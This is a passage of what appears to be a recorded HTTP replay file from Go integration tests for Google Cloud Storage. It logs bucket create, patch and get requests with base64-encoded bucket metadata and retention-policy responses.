], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:46 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpD4zsQLTflaR7g-z0FszOHvw5oXvxqdiyjlAnMwMcBcUEjidrpIGgpvmrz1EWi2AyWkdDCSY0l8ItQxYnWwSZt24jOxXBlzq-gCNrCCE6j0fJVGKw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ2LjE3M1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ni44NjNaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiIzNjAwIiwiZWZmZWN0aXZlVGltZSI6IjIwMTktMDUtMDJUMjI6MjU6NDYuMTczWiJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "e08a38dca4dda51f", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0011?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2519" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:47 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:47 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrsphQdkHT0ctCFLyPV1JRkq7cyQ7w1tvYmAWv-6tYsuThaMN-vkUJoTNz2gPKGy6jV0yqdbXaAlRlD_5n6GiQa-ULOyKLi-C0q8y25lfk7L6zROE4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ2LjE3M1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ni44NjNaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiIzNjAwIiwiZWZmZWN0aXZlVGltZSI6IjIwMTktMDUtMDJUMjI6MjU6NDYuMTczWiJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "fe586a68284be237", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyIiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:47 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpAjkPxULicnoY5wPnfrg-D7yzTbTzTZcUShEN8JSsqVMN758lI4DlkvFibNK9URhYVBH0xclTheAOO_CEDoVb5egvcF-WJqJ3SDisU2YPaZsohRro" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ3LjU2NVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ny41NjVaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiNjAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ny41NjVaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "732c3421adfb99d8", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0012?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "47" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiMzYwMCJ9fQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2519" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:48 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UohfaTh8JFEjT7TTMwV7NkrcAsgkdpDyovvbjHJLNbXalzOWX3_HwhowBimaqZXhkuvBx1D38zsUZ5dEzigoyoXRJtgHfy7ClUrshBL_yMfPkZ4JE4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ3LjU2NVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0OC4yNzBaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiIzNjAwIiwiZWZmZWN0aXZlVGltZSI6IjIwMTktMDUtMDJUMjI6MjU6NDcuNTY1WiJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "aebe46d0a31a6e95", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0012?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2519" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:48 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:48 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uop7c4AxllIcwFmLfqhIIaGP3Q9uHfmQoAm9LttwjQIvzHiJvu4fg_Q3UfNP8YbDuP97jLsG78JbCK68eSQv8ZHPp8kpzfdJcvOER0cs75wQ9gC7NA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ3LjU2NVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0OC4yNzBaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmV